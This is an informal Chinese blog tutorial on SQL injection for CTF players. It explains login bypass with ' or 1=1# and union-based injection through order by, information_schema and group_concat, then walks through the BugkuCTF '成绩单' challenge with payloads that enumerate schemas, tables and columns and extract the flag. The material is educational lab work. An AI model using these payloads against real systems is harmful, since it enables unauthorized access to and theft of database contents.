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声明一点以下可能说的不是很友好,所以如有敏感词汇请评论我,作者会改 

日常抱怨话语:说到SQL就头疼,但是SQL注入在Web里面真的是重中之重,虽然在现实之中SQL注入已经很少了,但是完全不影响
CTF出这些题,而且特别扯淡,做着做着就给你来二道sql注入问题,特别是那些综合题,明明PHP代码审计,审计完后代码(payload)绕
过,真好,看完代码又要发现连接到了数据库,好家伙,sql注入,我承认sql注入对我真的很难,网上资源普遍相同,看大佬的SQL注入的
writeup,我发现我们看的是同一个SQL注入吗?唉,后来看多了SQL注入的payload我就明白SQL注入真的很靠平时经验和sql语法的
理解 

为什么要去理解该知识点

SQL注入在世界漏洞排行还是稳居前十,所以CTF也常常出sql注入问题,但是SQL注入在我眼里真的不简单,所以CTF的sql注入其
实也不简单,主要是CTF中的sql注入主要靠绕过和爆破(puzzing),CTF就基本套路就是为了让你以前查到的sql注入语句全部给你过
滤.除了让你头疼我CTF做不到其他的了,所以CTF看似是sql注入其实就是为了将像我这样的菜鸡给out掉,其目的就是为了让你去
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理解底层原理别在老是依赖别人的payload,所以CTF我明白了我这就去学好吗 

原理

首先为什么会出现SQL注入,人狠话不多直接给你看一行PHP代码(为什么是PHP代码,不要问我,问就是CTF基本都是php代码)

$result=$link->query("select * from `user` where username='$user' and pwd='$pwd'");

看到这个有些小白可能不能理解所以我改了一下

$result=$link->query("select * from `user` where username='你输入的用户名' and pwd='你输入的密码'");

你要是在看不懂,我我我继续写
炸眼一看,哎莫问题啊,这行代码有什么问题吗?
没问题,今天老夫就要给你来点问题
Payload:你输入的用户名=admin%23(‘) or 1=1#(//)
看到这个答案别着急.先分析,为什么几个点%23,1=1,#
无疑看到我这博客的好兄弟一定看过其他博主的sql注入,但是他们并没有说为什么?别问为什么,问就是给我抄
1.%23是因为php可能会对你输入的用户名进行url解码 urldecode(%23)=’
2.1=1学习计算机语言的都明白1=1答案为true
3.#简单的说在不同的语言中#无疑表述注释符.比如python,好的我就知道这一个
4.// 还要我说吗,注释符
5.还有为什么我#不写url的编码,不要问我为什么,我忘了,我也懒的去查
写上payload

$result=$link->query("select * from `user` where username='admin’ or 1=1#' and pwd='$pwd'");

看这个肯定没意思.来给你看个大宝贝

不多说,真男人从不回头,看爆炸
简单的说灰色代码被注释的代码

注释必须要多说几句:
Mysql注释符号有三种:
1、#…
2、"-- "，注意–后面有一个空格
3、/…/



3、/…/
看完结果请冷静,让老夫一一说明
这里代码最重要的就是’ or 1=1简单的说闭合前面的然后来个真家伙,计算机语言都应该明白 false or true的答案为true,
有些大佬博主都是’ and 1=1 其实我也不明白,但是原理一样,总而言之就是要让等式为真,随便你怎么玩
大家肯定很疑惑很多大佬为什么要用’ and 1=1 或者’ 在或者’ and 1=2
这些首先你搞懂上面这些代码在sql语句执行后的结果是什么
1.真
2.查看在php代码中有没有用单引号括起来,如果有当然你只是手动帮他括起来,页面问题不会很大,但是没有你又加个’ ,在sql语句
中必然是错误的所以就会报错

3.假
其实很多页面是调用数据库,并且帮他们编好了序号
Id=?常见就这玩意,例如id=1 ‘ and 1=1 在sql语法中,这语句结果为true 所以页面会表述正常
反之就会报错,能报错那就很开心了,报错就能代表可以执行sql语句,简单的告诉你吧,你只要闭合前面那个’ 后面你想执行其他sql语
句请随意好吗,只要你sql语句理解的够深,请随意,无需给我面子
先告诉你啊,sql注入方式分这几点
1.布尔注入
2.联合注入
3.多语句注入
4.报错注入
5.延时注入
6.内联注入
今天就讲最简单的联合注入

注意啊都是说的mysql的语句
接下来就要来点真家伙了(前提啊前面的要看懂)
必须给你来几个宝贝

1.order by(group by)
在mysql语句中是排序的作用,疑问来了啊 order by 数字 怎么就能判断数据库有几列呢
人狠话不多,直接上图好吧

首先我的数据库的user表只有三列啊

 看到这个我都不想多说什么了
你仔细看,id的顺序变了,那就说明他排序了,3,那就看第三个列,我丢,l->w->z,明白了明白了
Order by 数字 代表第几列进行排序,如果超过数据库的列数必然就排不了序
2.information_schema
人狠话不多,直接上图OK?



人狠话不多,直接上图OK?

3.这是我常建的数据库,还要说吗,只要你创建了数据库他就已经有了information_schema,简单的说,它就是数据库的内置数据表,但
是疑惑来了为什么要用这个其他的什么mysql,performance_schema,sys这些系统表为什么不用而用information_schema这个表,来
了来了,它走来了
官方话语:information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名，数据库的表，表栏的数据类型
与访问权限等。再简单点，这台MySQL服务器上，到底有哪些数据库、各个数据库有哪些表，每张表的字段类型是什么，各个
数据库要什么权限才能访问，等等信息都保存在information_schema表里面。
Information_schema的数据类型其实就是php的字典
所以老夫必须给你看看这个字典的key和value
1.SCHEMATA

2.Tables

3.Columns



4.group_concat
看完上面的每个key的value,我丢这么多,人都会晕在哪里,所以我们就要用group_concat进行筛选,例如我们筛选出SCHEMATA中
的中SCHEMATA_name也就是数据表有哪些

可以看到这个函数自动帮我们将数据都置为一行,所以这就是为什么大佬们会用这个函数了,不然不用的话,网站就只会打印第一行
的数据

5.union select
这玩意肯定很多人疑惑,别担心作者与你同在,我当时也很懵逼
直到直到直到我自己去试才明白这玩意到底是什么

看到这个我就瞬间明白这玩意和命令行一样union如同命令行中的&一样表述一起执行并打印
不过经过测试我也明白为什么大佬们要去得到数据库有多少列了



所以说真的真的很重要,自己动手去做这些,能收获不少东西
好了我知道的联合注入就这些,以后有新的会了补充的
我还是建议真的需要自己去动手尝试,能提高不少
简单CTF联合注入不难
常见的套路就是将select union过滤什么的
但是还是从一些大佬得到好的方法

三步法:
一、找到注入点

二、Fuzz出未过滤字符
三、构造payload/写脚本

CTF题目案例

BugkuCTF之web题之成绩单



不加注释符三部曲:
1.‘
判断是字符还是整形

如果整形后面的就不要闭合

2.’ and 1=1
3.‘ and 1=2
经过上面三部曲尝试

要加注释符

所以加注释符后三部曲

发现第三步进行回显

然后就是日常盲注行为

输入1’ order by 4 #
页面正常

输入1’ order by 5 #

所以该数据表有4列
输入

 1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata #



发现出现这种情况,有点意思,然后自己通过本地数据库测试发现前面的sql语句为true打印一行,后面的sql语句也打印一行总共二
行,但是题目只会打印第一行数据,所以需要将第一行改为false即可

 1'  and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata #

输入

 1'  and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’skct
f_flag’ #

得到表名为fl4g

 1’and 1=2  union select column_name,2,3,4 from information_schema.columns where table_name=‘fl4g’#

得到列名为skctf_flag

 1’and 1=2  union select skctf_flag,2,3,4 from fl4g#

得到flag
我感觉这道题做的真的很繁琐,所以你们可以看看这位大佬的writeup
BugkuCTF之web题之成绩单
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